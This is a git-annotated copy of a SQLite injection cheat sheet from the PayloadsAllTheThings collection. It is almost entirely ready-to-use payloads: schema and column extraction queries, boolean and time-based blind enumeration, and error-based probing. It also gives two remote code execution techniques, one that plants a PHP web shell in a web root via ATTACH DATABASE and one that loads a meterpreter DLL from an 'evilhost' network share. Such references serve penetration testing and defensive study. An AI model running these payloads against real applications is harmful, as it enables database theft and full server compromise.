PayloadsAllTheThings/SQL Injection/SQLite Injection.md

118 lines
3.6 KiB
Markdown
Raw Normal View History

# SQLite Injection
2019-10-29 13:52:49 +00:00
## Summary
* [SQLite comments](#sqlite-comments)
* [SQLite version](#sqlite-version)
* [String based - Extract database structure](#string-based---extract-database-structure)
2019-10-29 13:52:49 +00:00
* [Integer/String based - Extract table name](#integerstring-based---extract-table-name)
* [Integer/String based - Extract column name](#integerstring-based---extract-column-name)
* [Boolean - Count number of tables](#boolean---count-number-of-tables)
* [Boolean - Enumerating table name](#boolean---enumerating-table-name)
* [Boolean - Extract info](#boolean---extract-info)
2022-09-07 12:02:38 +00:00
* [Boolean - Error based](#boolean---error-based)
2019-10-29 13:52:49 +00:00
* [Time based](#time-based)
* [Remote Command Execution using SQLite command - Attach Database](#remote-command-execution-using-sqlite-command---attach-database)
* [Remote Command Execution using SQLite command - Load_extension](#remote-command-execution-using-sqlite-command---load_extension)
* [References](#references)
## SQLite comments
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
--
/**/
```
2018-05-16 21:33:14 +00:00
## SQLite version
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
select sqlite_version();
```
## String based - Extract database structure
```sql
SELECT sql FROM sqlite_schema
```
## Integer/String based - Extract table name
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```
2018-08-12 21:30:22 +00:00
## Integer/String based - Extract column name
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
```
For a clean output
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```
Cleaner output
```sql
SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
```
## Boolean - Count number of tables
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
```
## Boolean - Enumerating table name
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```
## Boolean - Extract info
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```
2022-08-13 04:22:54 +00:00
## Boolean - Extract info (order by)
```sql
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END
```
2022-09-07 12:02:38 +00:00
## Boolean - Error based
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2022-09-07 12:02:38 +00:00
AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
```
2022-08-13 04:22:54 +00:00
2018-05-16 21:33:14 +00:00
## Time based
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```
2018-05-16 21:33:14 +00:00
2022-09-07 12:02:38 +00:00
2018-05-16 21:33:14 +00:00
## Remote Command Execution using SQLite command - Attach Database
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
```
## Remote Command Execution using SQLite command - Load_extension
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
```
2018-08-12 21:30:22 +00:00
Note: By default this component is disabled
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf)
2022-08-12 15:33:44 +00:00
[SQLite Error Based Injection for Enumeration](https://rioasmara.com/2021/02/06/sqlite-error-based-injection-for-enumeration/)